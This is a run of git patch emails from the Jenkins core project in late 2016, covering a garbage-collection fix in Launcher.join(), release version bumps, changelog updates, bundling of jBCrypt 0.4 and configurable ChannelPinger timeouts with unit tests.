00:00:00 2001 From: Oleg Nenashev Date: Sun, 20 Nov 2016 00:53:42 +0100 Subject: [PATCH 523/811] [JENKINS-23271] - Prevent early deallocation of the Proc instance by GC in ProcStarter#join() (#2635) * [JENKINS-23271] - Prevent the prelimimary deallocation of the Proc instance by GC It is a hackish way, which likely prevents a preliminary deallocation of the spawned RemoteProc instance, which we see in JENKINS-23271. Proc instance was not actually required in the original code since we were creating and using RemoteInvocationHandler wrapper only, and the theory discussed with @stephenc was that object gets removed by Java8 garbage collector before we get into join(). This fix enforces the persistency of ProcStarter#start() result by adding logging and the enforced volatile field (maybe the last one is not really required, but JIT compiler in Java implementations may be smart enough to skip unused loggers) This is a pretty old fix from August, which has been soak tested on my instance for several weeks (mid-August => Jenkins World). On the reference instance (just a small Jenkins instance with 4 agents and very frequent builds with CommandInterpreter steps) I saw 2 failures over the period. On the fixed instance - 0. It does not proof anything, but at least the fix was soak tested a bit * [JENKINS-23271] - Get rid of the procHolderForJoin field * [JENKINS-23271] - Also put the check into the finally statement as @stephenc proposed * Remove assert --- core/src/main/java/hudson/Launcher.java | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/Launcher.java b/core/src/main/java/hudson/Launcher.java index 4a6ed74f85..3f8c24d3a4 100644 --- a/core/src/main/java/hudson/Launcher.java +++ b/core/src/main/java/hudson/Launcher.java @@ -42,6 +42,8 @@ import org.apache.commons.io.input.NullInputStream; import org.kohsuke.accmod.Restricted; import org.kohsuke.accmod.restrictions.NoExternalUse; +import javax.annotation.CheckForNull; +import javax.annotation.concurrent.GuardedBy; import java.io.BufferedOutputStream; import java.io.File; import java.io.IOException; @@ -383,9 +385,25 @@ public abstract class Launcher { /** * Starts the process and waits for its completion. + * @return Return code of the invoked process + * @throws IOException Operation error (e.g. remote call failure) + * @throws InterruptedException The process has been interrupted */ public int join() throws IOException, InterruptedException { - return start().join(); + // The logging around procHolderForJoin prevents the preliminary object deallocation we saw in JENKINS-23271 + final Proc procHolderForJoin = start(); + LOGGER.log(Level.FINER, "Started the process {0}", procHolderForJoin); + try { + final int returnCode = procHolderForJoin.join(); + if (LOGGER.isLoggable(Level.FINER)) { + LOGGER.log(Level.FINER, "Process {0} has finished with the return code {1}", new Object[]{procHolderForJoin, returnCode}); + } + return returnCode; + } finally { + if (procHolderForJoin.isAlive()) { // Should never happen but this forces Proc to not be removed and early GC by escape analysis + LOGGER.log(Level.WARNING, "Process not finished after call to join() completed"); + } + } } /** -- GitLab From fca3aa7239e24754c28e51abcad257338c2eb63e Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 20 Nov 2016 11:20:41 +0100 Subject: [PATCH 524/811] Changelog: Noting #2640, #2633, #2635, #2594 and #2636 --- changelog.html | 21 ++++++++++++++++++++- 1 file changed, 20 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 2abfe35173..afeccfae61 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,26 @@ Upcoming changes

                                  What's new in 2.32 (2016/11/16)

                                  -- GitLab From f5152457155c73577f102ed14794d38ef05d460d Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 20 Nov 2016 15:32:46 -0800 Subject: [PATCH 525/811] [maven-release-plugin] prepare release jenkins-2.33 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index f30a6acd7b..4d8105d994 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.33-SNAPSHOT + 2.33 cli diff --git a/core/pom.xml b/core/pom.xml index ca845d2f0f..3f5ad5b8e2 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.33-SNAPSHOT + 2.33 jenkins-core diff --git a/pom.xml b/pom.xml index 90b2419d21..527bce78b5 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.33-SNAPSHOT + 2.33 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.33 diff --git a/test/pom.xml b/test/pom.xml index 0a28bfa186..1d2f244c36 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.33-SNAPSHOT + 2.33 test diff --git a/war/pom.xml b/war/pom.xml index c3d2610350..fcf0596fd1 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.33-SNAPSHOT + 2.33 jenkins-war -- GitLab From 98561d9f509e91951e48bb5f948352da88845b0f Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 20 Nov 2016 15:32:46 -0800 Subject: [PATCH 526/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 4d8105d994..f6e0fd4642 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.33 + 2.34-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 3f5ad5b8e2..3aa20f2a58 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.33 + 2.34-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 527bce78b5..112614a2d8 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.33 + 2.34-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.33 + HEAD diff --git a/test/pom.xml b/test/pom.xml index 1d2f244c36..d03f97aaca 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.33 + 2.34-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index fcf0596fd1..22743a7997 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.33 + 2.34-SNAPSHOT jenkins-war -- GitLab From fada46e7387476b9b36f5780d5a75902a72edf2d Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 20 Nov 2016 15:40:10 -0800 Subject: [PATCH 527/811] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index afeccfae61..42bf6aad0f 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

                                  What's new in 2.33 (2016/11/20)

                                  • Reduce size of Jenkins WAR file by not storing identical copies of remoting.jar there. @@ -77,7 +82,6 @@ Upcoming changes Improved Polish translation. (pull 2640)
                                  -

                                  What's new in 2.32 (2016/11/16)

                                  • -- GitLab From 578298e70d43169bada0ea9f44137b61e5eb7c5a Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 21 Nov 2016 16:20:38 -0500 Subject: [PATCH 528/811] [SECURITY-354] Using jBCrypt 0.4. --- core/pom.xml | 6 - .../src/main/java/hudson/security/BCrypt.java | 777 ++++++++++++++++++ .../security/HudsonPrivateSecurityRealm.java | 1 - 3 files changed, 777 insertions(+), 7 deletions(-) create mode 100644 core/src/main/java/hudson/security/BCrypt.java diff --git a/core/pom.xml b/core/pom.xml index 5485300cf6..94726b9737 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -583,12 +583,6 @@ THE SOFTWARE. 1.3.1-jenkins-1 - - org.mindrot - jbcrypt - 0.3m - -

                                    What's new in 2.33 (2016/11/20)

                                    -- GitLab From a11c05d3bdcff42dfa8befbe62919f9f64dd0682 Mon Sep 17 00:00:00 2001 From: Daniel Beck Date: Sun, 27 Nov 2016 15:27:49 +0100 Subject: [PATCH 539/811] Don't mention #2632 It's not actually a change in anything we deliver. --- changelog.html | 3 --- 1 file changed, 3 deletions(-) diff --git a/changelog.html b/changelog.html index 6f5a110a39..b325170dcd 100644 --- a/changelog.html +++ b/changelog.html @@ -75,9 +75,6 @@ Upcoming changes WinP 1.24: WinP sometimes kills wrong processes when using killRecursive. It was likely impacting process termination on Windows agents. (WinP Issue #22) -
                                  • - Internal: Translation Tool - Allow adding unique prefix for each missing translation. - (pull 2632)

                                  What's new in 2.33 (2016/11/20)

                                  -- GitLab From 5346c8b6f237154512c46a0f43c431d8ead7d44e Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 27 Nov 2016 12:55:26 -0800 Subject: [PATCH 540/811] [maven-release-plugin] prepare release jenkins-2.34 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index f6e0fd4642..5fc194a157 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.34-SNAPSHOT + 2.34 cli diff --git a/core/pom.xml b/core/pom.xml index b2ece7ff4d..133b1da277 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.34-SNAPSHOT + 2.34 jenkins-core diff --git a/pom.xml b/pom.xml index 112614a2d8..836930342c 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.34-SNAPSHOT + 2.34 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.34 diff --git a/test/pom.xml b/test/pom.xml index d03f97aaca..c9fbbaa3d4 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.34-SNAPSHOT + 2.34 test diff --git a/war/pom.xml b/war/pom.xml index 4c335cc066..5a44893c74 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.34-SNAPSHOT + 2.34 jenkins-war -- GitLab From 36ba8e590dcceedba2fc772fcfe9fdbb9426b5ac Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 27 Nov 2016 12:55:26 -0800 Subject: [PATCH 541/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 5fc194a157..d4385dc575 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.34 + 2.35-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index 133b1da277..54c75ac4de 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.34 + 2.35-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 836930342c..7b20746edd 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.34 + 2.35-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.34 + HEAD diff --git a/test/pom.xml b/test/pom.xml index c9fbbaa3d4..b9987846c4 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.34 + 2.35-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 5a44893c74..664e9d90ad 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.34 + 2.35-SNAPSHOT jenkins-war -- GitLab From cbb5252045d5677efb7b95de0ee89248550080b5 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 27 Nov 2016 13:02:20 -0800 Subject: [PATCH 542/811] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index b325170dcd..69ac6b0a9e 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

                                  What's new in 2.34 (2016/11/27)

                                  • Improve performance of Action retrieval methods. @@ -76,7 +81,6 @@ Upcoming changes It was likely impacting process termination on Windows agents. (WinP Issue #22)
                                  -

                                  What's new in 2.33 (2016/11/20)

                                  • -- GitLab From 5cc21bc3b9d16db3ab16600411fba1e5d4b98e5e Mon Sep 17 00:00:00 2001 From: mawinter69 Date: Mon, 28 Nov 2016 02:44:33 +0100 Subject: [PATCH 543/811] [JENKINS-39972] export fullName and fullDisplayName (#2644) --- core/src/main/java/hudson/model/AbstractItem.java | 2 ++ 1 file changed, 2 insertions(+) diff --git a/core/src/main/java/hudson/model/AbstractItem.java b/core/src/main/java/hudson/model/AbstractItem.java index 9bcfb70184..eb71ce20ae 100644 --- a/core/src/main/java/hudson/model/AbstractItem.java +++ b/core/src/main/java/hudson/model/AbstractItem.java @@ -354,12 +354,14 @@ public abstract class AbstractItem extends Actionable implements Item, HttpDelet */ public abstract Collection getAllJobs(); + @Exported public final String getFullName() { String n = getParent().getFullName(); if(n.length()==0) return getName(); else return n+'/'+getName(); } + @Exported public final String getFullDisplayName() { String n = getParent().getFullDisplayName(); if(n.length()==0) return getDisplayName(); -- GitLab From a7520ef4dad014dd681cfe0b519e62ba9747231e Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Mon, 28 Nov 2016 09:58:56 -0800 Subject: [PATCH 544/811] [maven-release-plugin] prepare release jenkins-2.19.4 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 89774ab5e0..4e40860332 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.19.4-SNAPSHOT + 2.19.4 cli diff --git a/core/pom.xml b/core/pom.xml index a6614a3b0e..ce9ba637cd 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.4-SNAPSHOT + 2.19.4 jenkins-core diff --git a/pom.xml b/pom.xml index 7db82638ed..5a6b02470f 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.4-SNAPSHOT + 2.19.4 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.19.1 + jenkins-2.19.4 diff --git a/test/pom.xml b/test/pom.xml index f1d12f39d3..26f694f591 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.4-SNAPSHOT + 2.19.4 test diff --git a/war/pom.xml b/war/pom.xml index 4a3896734a..0c8ce0e04a 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.4-SNAPSHOT + 2.19.4 jenkins-war -- GitLab From 52a3a77a757b8d111160b7bbd97d7045abfc1e2d Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Mon, 28 Nov 2016 09:58:56 -0800 Subject: [PATCH 545/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 4e40860332..540a52bee5 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.19.4 + 2.19.5-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index ce9ba637cd..d469bcadab 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.4 + 2.19.5-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 5a6b02470f..983d72ec5d 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.4 + 2.19.5-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.19.4 + jenkins-2.19.1 diff --git a/test/pom.xml b/test/pom.xml index 26f694f591..4f0b97d41e 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.4 + 2.19.5-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 0c8ce0e04a..5ca2d49111 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.19.4 + 2.19.5-SNAPSHOT jenkins-war -- GitLab From d563062747618ae68644c8984ed43f6447c5e685 Mon Sep 17 00:00:00 2001 From: David Hoover Date: Mon, 20 Apr 2015 13:28:54 -0700 Subject: [PATCH 546/811] [FIXED JENKINS-28245] Allow finer-grained tuning of ChannelPinger. * Allows customization in seconds, not minutes * Allows customization of the ping timeout (before, you could set a custom interval, but the timeout would always be PingThread's 4 minute default) This also drops the serialVersionUID from ChannelPinger.SetUpRemotePing; without one provided, the JVM will generate one on demand which is sufficient for the purposes here since these are never persisted and master & slave run the same compiled code. (And it demonstrably works since countless other MasterToSlaveCallables fail to specify their own custom IDs) --- core/pom.xml | 13 +- .../java/hudson/slaves/ChannelPinger.java | 104 ++++++++++++---- .../java/hudson/slaves/ChannelPingerTest.java | 117 ++++++++++++++++++ pom.xml | 8 +- 4 files changed, 212 insertions(+), 30 deletions(-) create mode 100644 core/src/test/java/hudson/slaves/ChannelPingerTest.java diff --git a/core/pom.xml b/core/pom.xml index 54c75ac4de..405941a161 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -606,10 +606,15 @@ THE SOFTWARE. /usr/local/yjp/lib/yjp.jar - - com.google.guava - guava - + + com.google.guava + guava + + + com.google.guava + guava-testlib + test + com.jcraft diff --git a/core/src/main/java/hudson/slaves/ChannelPinger.java b/core/src/main/java/hudson/slaves/ChannelPinger.java index 2bc6d4cffb..88de99270c 100644 --- a/core/src/main/java/hudson/slaves/ChannelPinger.java +++ b/core/src/main/java/hudson/slaves/ChannelPinger.java @@ -35,11 +35,11 @@ import jenkins.security.MasterToSlaveCallable; import jenkins.slaves.PingFailureAnalyzer; import java.io.IOException; +import java.util.Arrays; import java.util.concurrent.atomic.AtomicBoolean; +import java.util.logging.Level; import java.util.logging.Logger; -import static java.util.logging.Level.*; - /** * Establish a periodic ping to keep connections between {@link Slave slaves} * and the main Jenkins node alive. This prevents network proxies from @@ -50,16 +50,43 @@ import static java.util.logging.Level.*; @Extension public class ChannelPinger extends ComputerListener { private static final Logger LOGGER = Logger.getLogger(ChannelPinger.class.getName()); - private static final String SYS_PROPERTY_NAME = ChannelPinger.class.getName() + ".pingInterval"; - private static final int DEFAULT_PING_INTERVAL_MIN = 5; - + private static final String TIMEOUT_SECONDS_PROPERTY = ChannelPinger.class.getName() + ".pingTimeoutSeconds"; + private static final String INTERVAL_MINUTES_PROPERTY = ChannelPinger.class.getName() + ".pingInterval"; + private static final String INTERVAL_SECONDS_PROPERTY = ChannelPinger.class.getName() + ".pingIntervalSeconds"; + + /** + * Timeout for the ping in seconds. + */ + private final int pingTimeoutSeconds; + /** - * Interval for the ping in minutes. + * Interval for the ping in seconds. */ - private final int pingInterval; + private final int pingIntervalSeconds; public ChannelPinger() { - pingInterval = SystemProperties.getInteger(SYS_PROPERTY_NAME, DEFAULT_PING_INTERVAL_MIN); + pingTimeoutSeconds = Integer.getInteger(TIMEOUT_SECONDS_PROPERTY, 4 * 60); + + // A little extra hoop-jumping to migrate from the old system property + Integer intervalSeconds = Integer.getInteger(INTERVAL_SECONDS_PROPERTY); + Integer intervalMinutes = Integer.getInteger(INTERVAL_MINUTES_PROPERTY); + if (intervalMinutes != null) { + LOGGER.warning("Property '" + INTERVAL_MINUTES_PROPERTY + "' is deprecated. Please migrate to '" + INTERVAL_SECONDS_PROPERTY + "'"); + + if (intervalSeconds != null) { + LOGGER.log(Level.WARNING, "Ignoring {0}={1} because {2}={3}", + new Object[] { INTERVAL_MINUTES_PROPERTY, intervalMinutes, INTERVAL_SECONDS_PROPERTY, intervalSeconds }); + } else { + intervalSeconds = intervalMinutes * 60; + } + } + + pingIntervalSeconds = intervalSeconds == null ? 5 * 60 : intervalSeconds; + + if (pingIntervalSeconds < pingTimeoutSeconds) { + LOGGER.log(Level.WARNING, "Ping interval ({0}) is less than ping timeout ({1})", + new Object[] { pingIntervalSeconds, pingTimeoutSeconds }); + } } @Override @@ -68,13 +95,13 @@ public class ChannelPinger extends ComputerListener { } public void install(Channel channel) { - if (pingInterval < 1) { + if (pingTimeoutSeconds < 1 || pingIntervalSeconds < 1) { LOGGER.fine("Agent ping is disabled"); return; } try { - channel.call(new SetUpRemotePing(pingInterval)); + channel.call(new SetUpRemotePing(pingTimeoutSeconds, pingIntervalSeconds)); LOGGER.fine("Set up a remote ping for " + channel.getName()); } catch (Exception e) { LOGGER.severe("Failed to set up a ping for " + channel.getName()); @@ -82,40 +109,66 @@ public class ChannelPinger extends ComputerListener { // set up ping from both directions, so that in case of a router dropping a connection, // both sides can notice it and take compensation actions. - setUpPingForChannel(channel, pingInterval, true); + setUpPingForChannel(channel, pingTimeoutSeconds, pingIntervalSeconds, true); } - private static class SetUpRemotePing extends MasterToSlaveCallable { - private static final long serialVersionUID = -2702219700841759872L; - private int pingInterval; - public SetUpRemotePing(int pingInterval) { - this.pingInterval = pingInterval; + static class SetUpRemotePing extends MasterToSlaveCallable { + private final int pingTimeoutSeconds; + private final int pingIntervalSeconds; + + SetUpRemotePing(int pingTimeoutSeconds, int pingIntervalSeconds) { + this.pingTimeoutSeconds = pingTimeoutSeconds; + this.pingIntervalSeconds = pingIntervalSeconds; } + @Override public Void call() throws IOException { - setUpPingForChannel(Channel.current(), pingInterval, false); + setUpPingForChannel(Channel.current(), pingTimeoutSeconds, pingIntervalSeconds, false); return null; } + + @Override + public boolean equals(Object o) { + if (this == o) { + return true; + } + if (o == null || getClass() != o.getClass()) { + return false; + } + + SetUpRemotePing that = (SetUpRemotePing) o; + return this.pingTimeoutSeconds == that.pingTimeoutSeconds + && this.pingIntervalSeconds == that.pingIntervalSeconds; + } + + @Override + public int hashCode() { + // TODO(deadmoose): switch to Objects.hash once Java 7's fully available + return Arrays.hashCode(new Object[] { pingTimeoutSeconds, pingIntervalSeconds }); + } + + @Override + public String toString() { + return "SetUpRemotePing(" + pingTimeoutSeconds + "," + pingIntervalSeconds + ")"; + } } - private static void setUpPingForChannel(final Channel channel, int interval, final boolean analysis) { - LOGGER.log(FINE, "setting up ping on {0} at interval {1}m", new Object[] {channel.getName(), interval}); + static void setUpPingForChannel(final Channel channel, int timeoutSeconds, int intervalSeconds, final boolean analysis) { final AtomicBoolean isInClosed = new AtomicBoolean(false); - final PingThread t = new PingThread(channel, interval * 60 * 1000) { - @Override + final PingThread t = new PingThread(channel, timeoutSeconds * 1000L, intervalSeconds * 1000L) { protected void onDead(Throwable cause) { try { if (analysis) { analyze(cause); } if (isInClosed.get()) { - LOGGER.log(FINE,"Ping failed after the channel "+channel.getName()+" is already partially closed.",cause); + LOGGER.log(Level.FINE,"Ping failed after the channel "+channel.getName()+" is already partially closed.",cause); } else { - LOGGER.log(INFO,"Ping failed. Terminating the channel "+channel.getName()+".",cause); + LOGGER.log(Level.INFO,"Ping failed. Terminating the channel "+channel.getName()+".",cause); channel.close(cause); } } catch (IOException e) { - LOGGER.log(SEVERE,"Failed to terminate the channel "+channel.getName(),e); + LOGGER.log(Level.SEVERE,"Failed to terminate the channel "+channel.getName(),e); } } /** Keep in a separate method so we do not even try to do class loading on {@link PingFailureAnalyzer} from an agent JVM. */ @@ -141,6 +194,7 @@ public class ChannelPinger extends ComputerListener { }); t.start(); - LOGGER.fine("Ping thread started for " + channel + " with a " + interval + " minute interval"); + LOGGER.log(Level.FINE, "Ping thread started for {0} with a {1} second interval and a {2} second timeout.", + new Object[] { channel, intervalSeconds, timeoutSeconds }); } } diff --git a/core/src/test/java/hudson/slaves/ChannelPingerTest.java b/core/src/test/java/hudson/slaves/ChannelPingerTest.java new file mode 100644 index 0000000000..9018ea55ee --- /dev/null +++ b/core/src/test/java/hudson/slaves/ChannelPingerTest.java @@ -0,0 +1,117 @@ +package hudson.slaves; + +import static org.mockito.Matchers.eq; +import static org.mockito.Mockito.verify; +import static org.mockito.Mockito.when; +import static org.powermock.api.mockito.PowerMockito.mockStatic; +import static org.powermock.api.mockito.PowerMockito.verifyNoMoreInteractions; +import static org.powermock.api.mockito.PowerMockito.verifyStatic; + +import com.google.common.testing.EqualsTester; +import org.junit.After; +import org.junit.Before; +import org.junit.Test; +import org.junit.runner.RunWith; +import org.mockito.Mock; +import org.mockito.MockitoAnnotations; +import org.powermock.api.mockito.PowerMockito; +import org.powermock.core.classloader.annotations.PrepareForTest; +import org.powermock.modules.junit4.PowerMockRunner; +import hudson.remoting.Channel; + +import java.util.Map; +import java.util.HashMap; + +@RunWith(PowerMockRunner.class) +@PrepareForTest({ ChannelPinger.class }) +public class ChannelPingerTest { + + @Mock private Channel mockChannel; + + private Map savedSystemProperties = new HashMap(); + + @Before + public void setUp() throws Exception { + MockitoAnnotations.initMocks(this); + mockStatic(ChannelPinger.class); + } + + @Before + public void preserveSystemProperties() throws Exception { + preserveSystemProperty("hudson.slaves.ChannelPinger.pingInterval"); + preserveSystemProperty("hudson.slaves.ChannelPinger.pingIntervalSeconds"); + preserveSystemProperty("hudson.slaves.ChannelPinger.pingTimeoutSeconds"); + } + + @After + public void restoreSystemProperties() throws Exception { + for (Map.Entry entry : savedSystemProperties.entrySet()) { + if (entry.getValue() != null) { + System.setProperty(entry.getKey(), entry.getValue()); + } else { + System.clearProperty(entry.getKey()); + } + } + } + + private void preserveSystemProperty(String propertyName) { + savedSystemProperties.put(propertyName, System.getProperty(propertyName)); + System.clearProperty(propertyName); + } + + @Test + public void testDefaults() throws Exception { + ChannelPinger channelPinger = new ChannelPinger(); + channelPinger.install(mockChannel); + + verify(mockChannel).call(eq(new ChannelPinger.SetUpRemotePing(240, 300))); + verifyStatic(); + ChannelPinger.setUpPingForChannel(mockChannel, 240, 300); + } + + @Test + public void testFromSystemProperties() throws Exception { + System.setProperty("hudson.slaves.ChannelPinger.pingTimeoutSeconds", "42"); + System.setProperty("hudson.slaves.ChannelPinger.pingIntervalSeconds", "73"); + + ChannelPinger channelPinger = new ChannelPinger(); + channelPinger.install(mockChannel); + + verify(mockChannel).call(new ChannelPinger.SetUpRemotePing(42, 73)); + verifyStatic(); + ChannelPinger.setUpPingForChannel(mockChannel, 42, 73); + } + + @Test + public void testFromOldSystemProperty() throws Exception { + System.setProperty("hudson.slaves.ChannelPinger.pingInterval", "7"); + + ChannelPinger channelPinger = new ChannelPinger(); + channelPinger.install(mockChannel); + + verify(mockChannel).call(eq(new ChannelPinger.SetUpRemotePing(240, 420))); + verifyStatic(); + ChannelPinger.setUpPingForChannel(mockChannel, 240, 420); + } + + @Test + public void testNewSystemPropertyTrumpsOld() throws Exception { + System.setProperty("hudson.slaves.ChannelPinger.pingIntervalSeconds", "73"); + System.setProperty("hudson.slaves.ChannelPinger.pingInterval", "7"); + + ChannelPinger channelPinger = new ChannelPinger(); + channelPinger.install(mockChannel); + + verify(mockChannel).call(eq(new ChannelPinger.SetUpRemotePing(240, 73))); + verifyStatic(); + ChannelPinger.setUpPingForChannel(mockChannel, 240, 73); + } + + @Test + public void testSetUpRemotePingEquality() { + new EqualsTester() + .addEqualityGroup(new ChannelPinger.SetUpRemotePing(1, 2), new ChannelPinger.SetUpRemotePing(1, 2)) + .addEqualityGroup(new ChannelPinger.SetUpRemotePing(2, 3), new ChannelPinger.SetUpRemotePing(2, 3)) + .testEquals(); + } +} diff --git a/pom.xml b/pom.xml index 